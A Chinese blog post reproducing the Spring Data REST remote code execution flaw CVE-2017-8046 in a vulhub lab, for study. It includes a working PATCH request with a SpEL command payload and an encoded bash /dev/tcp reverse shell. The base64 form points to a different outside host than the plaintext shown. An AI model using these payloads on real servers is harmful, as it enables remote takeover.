目录

Fragrans 的个人博客

记录精彩的程序人生

X

vulhub中Spring之CVE-2017-8046漏洞复现

@TOC

Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

漏洞复现

漏洞说明

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

漏洞利用条件和方式

网站使用Spring Data REST提供REST Web服务,且版本在受影响范围内。

漏洞影响范围

Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本
Spring Boot 2.0.0M4之前的版本
Spring Data release trains Kay-RC3之前的版本

漏洞检测

开发人员检查使用的Spring框架是否在受影响版本范围内。

环境搭建

执行如下命令启动漏洞环境:

docker-compose up -d

等待环境启动完成,然后访问http://your-ip:8080/即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

漏洞复现

需要用PATCH方法,而且请求格式为JSON。根据RFC 6902,发送JSON文档结构需要注意以下两点:

1.请求头为Content-Type: application/json-patch+json;
2.需要参数op、路径path,其中op所支持的方法很多,如test,add,replace等,path参数则必须使用斜杠分割。

访问http://your-ip:8080/customers/1,看到一个资源。我们使用PATCH请求来修改之:

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success
(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }表示的命令:open /Applications/Calculator.app

1、访问http://your-ip:8080/customers/1,看到一个资源。
在这里插入图片描述
2、抓包修改GET为PATCH请求,添加请求头为Content-Type: application/json-patch+json;添加命令参数。
在这里插入图片描述
Content-Type: application/json-patch+json(必须修改这里)
path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success
3、执行后,进入容器docker-compose exec spring bash查看,创建success文件:
在这里插入图片描述
4、尝试将bytecode改成反弹shell的命令(注意:Java反弹shell的限制与绕过方式

执行命令:`bash -i >& /dev/tcp/127.0.0.1/7777 0>& 1`

转换:`bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTU4LjE5My45Mi8yMjIyIDA+JiAx}|{base64,-d}|{bash,-i}`

改成10进制编码:`[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,78,84,65, 117,77,84,85,52,76,106,69,53,77,121,52,53,77,105,56,121,77,106,73,121,73,68,65,43,74,105,65,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastName", "value": "vulhub" }]` 

(文后附python转编码的脚本)

5、修改path中的值,发包:
在这里插入图片描述
6、反弹成功!
在这里插入图片描述
附加:
字符串转ASiiC码

[root@VM_0_9_centos CVE-2017-8046]# vim char.py
import numpy as np

str = 'touch /tmp/success'

ascii = np.fromstring(str, dtype=np.uint8)

print(ascii)
[root@VM_0_9_centos CVE-2017-8046]# python char.py
[116 111 117  99 104  32  47 116 109 112  47 115 117  99  99 101 115 115]

漏洞修复

升级到以下最新版本:
Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
Spring Boot 2.0.0.M4
Spring Data release train Kay-RC3


标题:vulhub中Spring之CVE-2017-8046漏洞复现
作者:Fragrans
地址:http://gsolo.xhtk.top/articles/2021/09/16/1631776125511.html